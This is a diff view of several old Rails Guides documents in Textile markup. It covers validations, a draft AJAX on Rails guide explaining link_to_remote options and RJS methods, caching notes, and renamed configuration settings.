Like all other validations, +validates_with+ takes the +:if+, +:unless+ and +:on+ options. If you pass any other options, it will send those options to the validator class as +options+:
<ruby>
class Person < ActiveRecord::Base
validates_with GoodnessValidator, :fields => [:first_name, :last_name]
end
class GoodnessValidator < ActiveRecord::Validator
def validate
if options[:fields].any?{|field| record.send(field) == "Evil" }
record.errors[:base] << "This person is evil"
end
end
end
</ruby>
h4. +validates_each+
This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.

View File

@ -3,9 +3,8 @@ h2. AJAX on Rails
This guide covers the built-in Ajax/Javascript functionality of Rails (and more); it will enable you to create rich and dynamic AJAX applications with ease! We will cover the following topics:
* Quick introduction to AJAX and related technologies
* Handling Javascript the Rails way: Rails helpers, RJS, Prototype and script.aculo.us
* Handling Javascript the Rails way: Rails helpers, RJS, Prototype and script.aculo.us
* Testing Javascript functionality
* Becoming an Ajax Master on Rails: Plugins, Best Practices, Tips and Tricks
endprologue.
@ -30,21 +29,303 @@ How do 'standard' and AJAX requests differ, why does this matter for understandi
h3. Built-in Rails Helpers
h3. Built-in Rails Helpers
Mostly a reference to standard JS helpers like link_to_remote, remote_form_for etc + some explanation
Rails' Javascript framework of choice is "Prototype":http://www.prototypejs.org. Prototype is a generic-purpose Javascript framework that aims to ease the development of dynamic web applications by offering DOM manipulation, AJAX and other Javascript functionality ranging from utility functions to object oriented constructs. It is not specifically written for any language, so Rails provides a set of helpers to enable seamless integration of Prototype with your Rails views.
To get access to these helpers, all you have to do is to include the prototype framework in your pages - typically in your master layout, application.html.erb - like so:
<ruby>
javascript_include_tag 'prototype'
</ruby>
You are ready to add some AJAX love to your Rails app!
h4. The Quintessential AJAX Rails Helper: link_to_remote
Let's start with the the probably most often used helper: +link_to_remote+, which has an interesting feature from the documentation point of view: the options supplied to +link_to_remote+ are shared by all other AJAX helpers, so learning the mechanics and options of +link_to_remote+ is a great help when using other helpers.
The signature of +link_to_remote+ function is the same as that of the standard +link_to+ helper:
<ruby>
def link_to_remote(name, options = {}, html_options = nil)
</ruby>
And here is a simple example of link_to_remote in action:
<ruby>
link_to_remote "Add to cart",
:url => add_to_cart_url(product.id),
:update => "cart"
</ruby>
* The very first parameter, a string, is the text of the link which appears on the page.
* The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff:
** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too.
** *:update* There are basically two ways of injecting the server response into the page: One is involving RJS and we will discuss it in the next chapter, and the other is specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation:
<ruby>
link_to_remote "Add to cart",
:url => add_to_cart_url(product),
:update => { :success => "cart", :failure => "error" }
</ruby>
If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id +error+ is updated rather than the +cart+ element.
** *position* By default (i.e. when not specifying this option, like in the examples before) the repsonse is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the +position+ parameter, with four possibilities:
*** +:before+ Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element.
*** +:after+ Similar behavior to +:before+, but in this case the response is inserted after the target element.
*** +:top+ Inserts the text into the target element, before it's original content. If the target element was empty, this is equivalent with not specifying +:position+ at all.
*** +:bottom+ The counterpart of +:top+: the response is inserted after the target element's original content.
A typical example of using +:bottom+ is inserting a new &lt;li&gt; element into an existing list:
<ruby>
link_to_remote "Add new item",
:url => items_url,
:update => 'item_list',
:position => :bottom
</ruby>
** *:method* Most typically you want to use a POST request when adding a remote link to your view so this is the default behavior. However, sometimes you'll want to update (PUT) or delete/destroy (DELETE) something and you can specify this with the +:method+ option. Let's see an example for a typical AJAX link for deleting an item from a list:
<ruby>
link_to_remote "Delete the item",
:url => item_url(item),
:method => :delete
</ruby>
Note that if we wouldn't override the default behavior (POST), the above snippet would route to the create action rather than destroy.
** *JavaScript filters* You can customize the remote call further by wrapping it with some JavaScript code. Let's say in the previous example, when deleting a link, you'd like to ask for a confirmation by showing a simple modal text box to the user. This is a typical example what you can accomplish with these options - let's see them one by one:
*** +:confirm+ =&gt; +msg+ Pops up a JavaScript confirmation dialog, displaying +msg+. If the user chooses 'OK', the request is launched, otherwise canceled.
*** +:condition+ =&gt; +code+ Evaluates +code+ (which should evaluate to a boolean) and proceeds if it's true, cancels the request otherwise.
*** +:before+ =&gt; +code+ Evaluates the +code+ just before launching the request. The output of the code has no influence on the execution. Typically used show a progress indicator (see this in action in the next example).
*** +:after+ =&gt; +code+ Evaluates the +code+ after launching the request. Note that this is different from the +:success+ or +:complete+ callback (covered in the next section) since those are triggered after the request is completed, while the code snippet passed to +:after+ is evaluated after the remote call is made. A common example is to disable elements on the page or otherwise prevent further action while the request is completed.
*** +:submit+ =&gt; +dom_id+ This option does not make sense for +link_to_remote+, but we'll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form - use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the DOM id +dom_id+.
*** +:with+ &gt; +code+ The JavaScript code snippet in +code+ is evaluated and added to the request URL as a parameter (or set of parameters). Therefore, +code+ should return a valid URL query string (like "item_type=8" or "item_type=8&sort=true"). Usually you want to obtain some value(s) from the page - let's see an example:
<ruby>
link_to_remote "Update record",
:url => record_url(record),
:method => :put,
:with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')"
</ruby>
This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
** *Callbacks* Since an AJAX call is typically asynchronous, as it's name suggests (this is not a rule, and you can fire a synchronous request - see the last option, +:type+) your only way of communicating with a request once it is fired is via specifying callbacks. There are six options at your disposal (in fact 508, counting all possible response types, but these six are the most frequent and therefore specified by a constant):
*** +:loading:+ =&gt; +code+ The request is in the process of receiving the data, but the transfer is not completed yet.
*** +:loaded:+ =&gt; +code+ The transfer is completed, but the data is not processed and returned yet
*** +:interactive:+ =&gt; +code+ One step after +:loaded+: The data is fully received and being processed
*** +:success:+ =&gt; +code+ The data is fully received, parsed and the server responded with "200 OK"
*** +:failure:+ =&gt; +code+ The data is fully received, parsed and the server responded with *anything* but "200 OK" (typically 404 or 500, but in general with any status code ranging from 100 to 509)
*** +:complete:+ =&gt; +code+ The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything).
*** Any other status code ranging from 100 to 509: Additionally you might want to check for other HTTP status codes, such as 404. In this case simply use the status code as a number:
<ruby>
link_to_remote "Add new item",
:url => items_url,
:update => "item_list",
404 => "alert('Item not found!')"
</ruby>
Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action:
<ruby>
link_to_remote "Add new item",
:url => items_url,
:update => "item_list",
:before => "$('progress').show()",
:complete => "$('progress').hide()",
:success => "display_item_added(request)",
:failure => "display_error(request)",
</ruby>
** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+.
* Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though:
** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
** +link_to_remote+ gains it's AJAX behavior by specifying the remote call in the onclick handler of the link. If you supply +html_options[:onclick]+ you override the default behavior, so use this with care!
We are finished with +link_to_remote+. I know this is quite a lot to digest for one helper function, but remember, these options are common for all the rest of the Rails view helpers, so we will take a look at the differences / additional parameters in the next sections.
h4. AJAX Forms
There are three different ways of adding AJAX forms to your view using Rails Prototype helpers. They are slightly different, but striving for the same goal: instead of submitting the form using the standard HTTP request/response cycle, it is submitted asynchronously, thus not reloading the page. These methods are the following:
* +remote_form_for+ (and it's alias +form_remote_for+) is tied to Rails most tightly of the three since it takes a resource, model or array of resources (in case of a nested resource) as a parameter.
* +form_remote_tag+ AJAXifies the form by serializing and sending it's data in the background
* +submit_to_remote+ and +button_to_remote+ is more rarely used than the previous two. Rather than creating an AJAX form, you add a button/input
Let's se them in action one by one!
h5. +remote_form_for+
h5. +form_remote_tag+
h5. +submit_to_remote+
h4. Observing Elements
h5. +observe_field+
h5. +observe_form+
h4. Calling a Function Periodically
h5. +periodically_call_remote+
h4. Miscellaneous Functionality
h5. +remote_function+
h5. +update_page+
h3. JavaScript the Rails way: RJS
In the last section we sent some AJAX requests to the server, and inserted the HTML response into the page (with the +:update+ option). However, sometimes a more complicated interaction with the page is needed, which you can either achieve with JavaScript... or with RJS! You are sending JavaScript instructions to the server in both cases, but while in the former case you have to write vanilla JavaScript, in the second you can code Rails, and sit back while Rails generates the JavaScript for you - so basically RJS is a Ruby DSL to write JavaScript in your Rails code.
h4. Javascript without RJS
First we'll check out how to send JavaScript to the server manually. You are practically never going to need this, but it's interesting to understand what's going on under the hood.
<ruby>
def javascript_test
render :text => "alert('Hello, world!')",
:content_type => "text/javascript"
end
</ruby>
(Note: if you want to test the above method, create a +link_to_remote+ with a single parameter - +:url+, pointing to the +javascript_test+ action)
What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior).
h4. Inline RJS
As we said, the purpose of RJS is to write Ruby which is then auto-magically turned into JavaScript by Rails. The above example didn't look too Ruby-esque so let's see how to do it the Rails way:
<ruby>
def javascript_test
render :update do |page|
page.alert "Hello from inline RJS"
end
end
</ruby>
The above code snippet does exactly the same as the one in the previous section - going about it much more elegantly though. You don't need to worry about headers,write ugly JavaScript code into a string etc. When the first parameter to +render+ is +:update+, Rails expects a block with a single parameter (+page+ in our case, which is the traditional naming convention) which is an instance of the JavaScriptGenerator:"http://api.rubyonrails.org/classes/ActionView/Helpers/PrototypeHelper/JavaScriptGenerator/GeneratorMethods.html" object. As it's name suggests, JavaScriptGenerator is responsible for generating JavaScript from your Ruby code. You can execute multiple method calls on the +page+ instance - it's all turned into JavaScript code and sent to the server with the appropriate Content Type, "text/javascript".
h4. RJS Templates
If you don't want to clutter your controllers with view code (especially when your inline RJS is more than a few lines), you can move your RJS code to a template file. RJS templates should go to the +/app/views/+ directory, just as +.html.erb+ or any other view files of the appropriate controller, conventionally named +js.rjs+.
To rewrite the above example, you can leave the body of the action empty, and create a RJS template named +javascript_test.js.rjs+, containing the following line:
<ruby>
page.alert "Hello from inline RJS"
</ruby>
h4. RJS Reference
In this section we'll go through the methods RJS offers.
h5. JavaScriptGenerator Methods
h6. DOM Element Manipulation
It is possible to manipulate multiple elements at once through the +page+ JavaScriptGenerator instance. Let's see this in action:
<ruby>
page.show :div_one, :div_two
page.hide :div_one
page.remove :div_one, :div_two, :div_three
page.toggle :other_div
</ruby>
The above methods (+show+, +hide+, +remove+, +toggle+) have the same semantics as the Prototype methods of the same name. You can pass an arbitrary number (but at least one) of DOM ids to these calls.
h6. Inserting and Replacing Content
You can insert content into an element on the page with the +insert_html+ method:
<ruby>
page.insert_html :top, :result, '42'
</ruby>
The first parameter is the position of the new content relative to the element specified by the second parameter, a DOM id.
Position can be one of these four values:
*** +:before+ Inserts the response text just before the target element.
*** +:after+ The response is inserted after the target element.
*** +:top+ Inserts the text into the target element, before it's original content.
*** +:bottom+ The counterpart of +:top+: the response is inserted after the target element's original content.
The third parameter can either be a string, or a hash of options to be passed to ActionView::Base#render - for example:
<ruby>
page.insert_html :top, :result, :partial => "the_answer"
</ruby>
You can replace the contents (innerHTML) of an element with the +replace_html+ method. The only difference is that since it's clear where should the new content go, there is no need for a position parameter - so +replace_html+ takes only two arguments,
the DOM id of the element you wish to modify and a string or a hash of options to be passed to ActionView::Base#render.
h6. Delay
You can delay the execution of a block of code with +delay+:
<ruby>
page.delay(10) { page.alert('Hey! Just waited 10 seconds') }
</ruby>
+delay+ takes one parameter (time to wait in seconds) and a block which will be executed after the specified time has passed - whatever else follows a +page.delay+ line is executed immediately, the delay affects only the code in the block.
h6. Reloading and Redirecting
You can reload the page with the +reload+ method:
<ruby>
page.reload
</ruby>
When using AJAX, you can't rely on the standard +redirect_to+ controller method - you have to use the +page+'s instance method, also called +redirect_to+:
<ruby>
page.redirect_to some_url
</ruby>
h6. Generating Arbitrary JavaScript
Sometimes even the full power of RJS is not enough to accomplish everything, but you still don't want to drop to pure JavaScript. A nice golden mean is offered by the combination of +<<+, +assign+ and +call+ methods:
<ruby>
page << "alert('1+1 equals 3')"
</ruby>
So +<<+ is used to execute an arbitrary JavaScript statement, passed as string to the method. The above code is equivalent to:
<ruby>
page.assign :result, 3
page.call :alert, '1+1 equals ' + result
</ruby>
+assign+ simply assigns a value to a variable. +call+ is similar to +<<+ with a slightly different syntax: the first parameter is the name of the function to call, followed by the list of parameters passed to the function.
h6. Class Proxies
h5. Element Proxies
h5. Collection Proxies
h5. RJS Helpers
h3. Responding to AJAX the Rails way: RJS
h3. I Want my Yellow Thingy: Quick overview of Script.aculo.us
In the last section we sent some AJAX requests to the server; now we need to respond, and the standard Rails way to this is using RJS; RJS intro, function reference
h4. Introduction
h4. Visual Effects
h3. I Want my Yellow Thingy: Prototype and Script.aculo.us
Walk through prototype and script.aculo.us, most important functionality, method reference etc.
h4. Drag and Drop
@ -58,37 +339,4 @@ Javascript testing reminds me the definition of the world 'classic' by Mark Twai
* Cucumber+Webrat
* Mention stuff like screw.unit/jsSpec
Note to self: check out the RailsConf JS testing video
h3. Useful Plugins
This was in the ticket description, but at the moment I don't really have clue what to add here, so please tell me
h3. Tips and Tricks
* Unobtrusive Javascript (Prototype events, maybe the jQuery way (esp. jQeury.live()))
* Minimize communication with the server - there does not have to be a communication at all!
** If you absolutely don't have to, don't use Rails observers
** Cache stuff on the client side, e.g. with auto-complete
* Using AJAX to load stuff asynchronously
** To avoid page blocking
** Tricking page caching
*** inserting user-specific info into a cached page
*** anti-CSFR bit
* Jumping to the top? Try event.stopPropagation
* Performance
** pack your javascript (minify, asset packager)
** require your JS at the end of the file
** other perf tricks and optimization
* Don't overuse AJAX
** Usability first, cool effects second
** situations where AJAX is discouraged
* Last but not least: Javascript is your friend :)
Note to self: check out the RailsConf JS testing video

View File

@ -973,7 +973,7 @@ h6. +:source_type+
The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association.
h6. :through
h6. +:through+
The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>.

View File

@ -67,6 +67,8 @@ If you want a more complicated expiration scheme, you can use cache sweepers to
Note: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. Be careful when page caching GET parameters in the URL!
INFO: Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
h4. Action Caching
One of the issues with Page Caching is that you cannot use it for pages that require to restrict access somehow. This is where Action Caching comes in. Action Caching works like Page Caching except for the fact that the incoming web request does go from the webserver to the Rails stack and Action Pack so that before filters can be run on it before the cache is served. This allows authentication and other restriction to be run while still serving the result of the output from a cached copy.
@ -98,6 +100,8 @@ You can modify the default action cache path by passing a +:cache_path+ option.
Finally, if you are using memcached, you can also pass +:expires_in+. In fact, all parameters not used by +caches_action+ are sent to the underlying cache store.
INFO: Action caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
h4. Fragment Caching
Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently Rails provides a mechanism called Fragment Caching.

View File

@ -7,7 +7,6 @@ This guide covers the configuration and initialization features available to Rai
endprologue.
h3. Locations for Initialization Code
Rails offers (at least) five good spots to place initialization code:
@ -38,31 +37,87 @@ config.active_record.colorize_logging = false
Rails will use that particular setting to configure Active Record.
h4. Rails General Configuration
* +config.routes_configuration_file+ overrides the default path for the routes configuration file. This defaults to +config/routes.rb+.
* +config.cache_classes+ controls whether or not application classes should be reloaded on each request.
* +config.cache_store+ configures which cache store to use for Rails caching. Options include +:memory_store+, +:file_store+, +:mem_cache_store+ or the name of your own custom class.
* +config.controller_paths+ accepts an array of paths that will be searched for controllers. Defaults to +app/controllers+.
* +config.database_configuration_file+ overrides the default path for the database configuration file. Default to +config/database.yml+.
* +config.dependency_loading+ enables or disables dependency loading during the request cycle. Setting dependency_loading to _true_ will allow new classes to be loaded during a request and setting it to _false_ will disable this behavior.
* +config.eager_load_paths+ accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. All elements of this array must also be in +load_paths+.
* +config.frameworks+ accepts an array of rails framework components that should be loaded. (Defaults to +:active_record+, +:action_controller+, +:action_view+, +:action_mailer+, and +:active_resource+).
* +config.load_once_paths+ accepts an array of paths from which Rails will automatically load from only once. All elements of this array must also be in +load_paths+.
* +config.load_paths+ accepts an array of additional paths to prepend to the load path. By default, all app, lib, vendor and mock paths are included in this list.
* +config.log_level+ defines the verbosity of the Rails logger. In production mode, this defaults to +:info+. In development mode, it defaults to +:debug+.
* +config.log_path+ overrides the path to the log file to use. Defaults to +log/#{environment}.log+ (e.g. log/development.log or log/production.log).
* +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.
* +config.metals+ accepts an array used as the metals to load. If this is set to nil, all metals will be loaded in alphabetical order. If this is set to [], no metals will be loaded. Otherwise metals will be loaded in the order specified
* +config.plugin_loader+ overrides the class that handles loading each plugin. Defaults to +Rails::Plugin::Loader+.
* +config.plugin_locators+ overrides the class that handle finding the desired plugins that youd like to load for your application. By default it is the +Rails::Plugin::FileSystemLocator+.
* +config.plugin_paths+ overrides the path to the root of the plugins directory. Defaults to +vendor/plugins+.
* +config.plugins+ accepts the list of plugins to load. If this is set to nil, all plugins will be loaded. If this is set to [], no plugins will be loaded. Otherwise, plugins will be loaded in the order specified.
* +config.preload_frameworks+ enables or disables preloading all frameworks at startup.
* +config.reload_plugins+ enables or disables plugin reloading.
* +config.root_path+ configures the root path of the application.
* +config.time_zone+ sets the default time zone for the application and enables time zone awareness for Active Record.
* +config.view_path+ sets the path of the root of an application's views. Defaults to +app/views+.
* +config.whiny_nils+ enables or disabled warnings when an methods of nil are invoked. Defaults to _false_.
h4. Configuring i18n
* +config.i18n.default_locale+ sets the default locale of an application used for i18n. Defaults to +:en+.
* +config.i18n.load_path+ sets the path Rails uses to look for locale files. Defaults to +config/locales/*.{yml,rb}+
h4. Configuring Active Record
<tt>ActiveRecord::Base</tt> includes a variety of configuration options:
<tt>config.active_record</tt> includes a variety of configuration options:
* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging.
* +config.active_record.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an Active Record model class or an Active Record model instance. Set to nil to disable logging.
* +primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices:
* +config.active_record.primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices:
** +:table_name+ would make the primary key for the Customer class +customerid+
** +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+
* +table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string.
* +config.active_record.table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string.
* +table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string.
* +config.active_record.table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string.
* +pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table.
* +config.active_record.pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table.
* +colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord.
* +config.active_record.colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord.
* +default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+.
* +config.active_record.default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+.
* +schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements.
* +config.active_record.schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements.
* +timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application.
* +config.active_record.timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application.
* +lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+.
* +config.active_record.lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+.
The MySQL adapter adds one additional configuration option:
@ -70,79 +125,81 @@ The MySQL adapter adds one additional configuration option:
The schema dumper adds one additional configuration option:
* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +ActiveRecord::Base.schema_format == :ruby+.
* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +config.active_record.schema_format == :ruby+.
h4. Configuring Action Controller
<tt>ActionController::Base</tt> includes a number of configuration settings:
<tt>config.action_controller</tt> includes a number of configuration settings:
* +asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host.
* +config.action_controller.asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host.
* +consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors.
* +config.action_controller.consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors.
* +allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Instead, you should simply call +config.threadsafe!+ inside your +production.rb+ file, which makes all the necessary adjustments.
* +config.action_controller.allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Instead, you should simply call +config.threadsafe!+ inside your +production.rb+ file, which makes all the necessary adjustments.
WARNING: Threadsafe operation in incompatible with the normal workings of development mode Rails. In particular, automatic dependency loading and class reloading are automatically disabled when you call +config.threadsafe!+.
* +param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active.
* +config.action_controller.param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active.
* +default_charset+ specifies the default character set for all renders. The default is "utf-8".
* +config.action_controller.default_charset+ specifies the default character set for all renders. The default is "utf-8".
* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.
* +config.action_controller.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.
* +resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/".
* +config.action_controller.resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/".
* +resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+.
* +config.action_controller.resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+.
* +request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default.
* +config.action_controller.request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default.
* +optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default.
* +config.action_controller.optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default.
* +use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request.
* +config.action_controller.use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request.
* +allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes.
* +config.action_controller.allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes.
* +relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+.
* +config.action_controller.relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+.
* +config.action_controller.session_store+ sets the name of the store for session data. The default is +:cookie_store+; other valid options include +:active_record_store+, +:mem_cache_store+ or the name of your own custom class.
The caching code adds two additional settings:
* +ActionController::Caching::Pages.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+).
* +ActionController::Base.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+).
* +ActionController::Caching::Pages.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
The dispatcher includes one setting:
* +ActionController::Dispatcher.error_file_path+ gives the path where Rails will look for error files such as +404.html+. The default is +Rails.public_path+.
* +ActionController::Base.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
The Active Record session store can also be configured:
* +CGI::Session::ActiveRecordStore::Session.data_column_name+ sets the name of the column to use to store session data. By default it is 'data'
* +ActiveRecord::SessionStore::Session.table_name+ sets the name of the table uses to store sessions. Defaults to +sessions+.
* +ActiveRecord::SessionStore::Session.primary_key+ sets the name of the ID column uses in the sessions table. Defaults to +session_id+.
* +ActiveRecord::SessionStore::Session.data_column_name+ sets the name of the column which stores marshaled session data. Defaults to +data+.
h4. Configuring Action View
There are only a few configuration options for Action View, starting with four on +ActionView::Base+:
* +debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+.
* +config.action_view.debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+.
* +warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+.
* +config.action_view.warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+.
* +field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is <tt>Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>" }</tt>
* +config.action_view.field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is <tt>Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>" }</tt>
* +default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+.
* +config.action_view.default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+.
The ERB template handler supplies one additional option:
* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.
* +ActionView::TemplateHandlers::ERB.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information.
